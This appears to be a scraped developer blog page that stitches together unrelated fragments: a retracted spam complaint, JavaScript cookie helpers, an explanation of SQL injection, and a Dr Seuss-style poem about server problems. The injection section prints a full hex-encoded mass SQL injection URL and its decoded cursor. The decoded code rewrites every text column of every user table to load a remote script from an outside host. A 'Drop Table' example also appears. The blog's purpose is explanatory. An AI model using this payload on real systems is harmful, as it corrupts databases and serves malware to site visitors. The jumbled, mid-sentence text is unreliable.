click on pic for more.
Those of you that like all things Apple feel free to "tut tut tut" and feel aggrieved that you are being got at AGAIN by a PC'er.
... what is happening is that an Untangle user has their server mis-configured to filter outbound email and then send quarantine notices to the intended recipients for any email that gets blocked as spam. So, somebody at this user site was attempting to send something that may be spam to you, their Untangle server stopped it, and then their Untangle server notified you that it stopped it. These notifications have an Untangle logo on them, but they come from an Untangle server owned by this user.Now I do have to say the people at Untangle acted quickly and professionally to both contact me and to get this sorted even though it was not actually their problem. So let me take this opportunity to thank them for doing this and to retract the accusation I made yesterday that they were spamming me, they weren't.
The email header shows it originates from 217.205.42.35 which is registered to Ugam Solutions UK Ltd. which surprise surprise is a marketing company.
Jean-Luc Picard Or Patrick Stewart if you will has with the Tech Team of Star-Trek developed not the warp drive, not the transporter but something almost as wonderful.
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name)
{
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++)
{
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name)
{
createCookie(name,"",-1);
}
Then on the page/form/view that has a link to a document on it place this is in the onLoad event:
createCookie("goback",location.href,0)
document.forms[0].BackURL.value = readCookie("goback");
print |[script language='javascript']location.href='|+ThisDoc.BackURL(0)+|';[/script]|
var LangId;Which using the URL above as an example would result in the Variable sql being SELECT * from Menu Where Language = 'French'
LangId = Request.form ("lang");
var sql = "select * from Menu where Language = '" + LangId + "'";
var sql = "select * from Menu where Language = '" + LangId + "'";Is processed is results in variable SQL containing
"Select * from menu where language ='French';Drop Table Menu--"Note the clever use of the orphan ' after the French in the url. In SQL as in JS the semicolon indicated the end of one statement and the start of another, the double -- indicates the end of the command string (ie STOP) . So when processed this example will select all fields where field Language =' French' and then it will delete the table called MENU from the database.
orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500430
04C004100520045002000400054002000760061007200630068006100720028003200350035002900
2C004000 43002000760061007200630068006100720028003200350035002900200044004500430
04C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500
520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006
D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A
006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200
077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002000
61002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007
4007900700065003D003900390020006F007200200062002E00780074007900700065003D00330035
0020006F007200200062002E00780074007900700065003D0032003300310020006F0072002000620
02E00780074007900700065003D00310036003700290020004F00500045004E002000540061006200
6C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002
000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049
004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450
05400430048005F005300540041005400550053003D0030002900200042004500470049004E002000
65007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005
D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D0028
0063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400
043002B0027005D00290029002B00270027003C007300630072006900700074002000730072006300
3D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002
E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E00270027
00270029004600450054004300480020004E004500580054002000460052004F004D0020002000540
0610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C00
40004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F00430
07500720073006F00720020004400450041004C004C004F0043004100540045002000540061006200
6C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--The hex string when @URLdecoded yields something like:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FORThis is the yucky evil nasty horribly simple bit.. the SQL does the following
select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+'
'[script src=xxx.yyy.com/666.js][/script]''')FETCH NEXT FROM
Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Like all really nasty things, this code is simple and very effective. The user goes to a trusted site .. like these and you start to get
An Ode to Server Problems
(with a nod to Dr Seuss and a Wink at Duffbert)
It's not my code, it's tested, its wonderful and it's fine,
debugged to distraction, of this bug there is no sign,
I've showed it to the Phigment who thinks it needs a tweek,
A change here, a comma there is the solution that we seek.
My users they have told me that my app is so very slow
Not the kindest are their comments and my cheeks they are a glow
I am at a loss, i can't explain it.... its become my buggy foe
Wild Bill will make this #1 in his next worst practice show.
So if a cursor finds a doc link which is followed by a dash,
And double-clicking on a button puts your vista in the trash,
And your data is corrupted 'cause the index doesn't hash,
then your situation's hopeless, and your server's gonna crash.
If the label on the cable on the table at your house,
Says the network is connected to the button or the mouse,
and your packets want to tunnel to another protocol,
that's repeatedly rejected by the printer down the hall,
And your screen is all distorted by the side effects of gauss,
So your icons in the window are as wavy as a scouse,
Then you may as well reboot and go out with a bang,
cos as sure as sugar's sugar that bastards's gonna hang!
When you make a call to your ISP's Tech Support and you are put thru to Sanjit or Rashid in Bangalore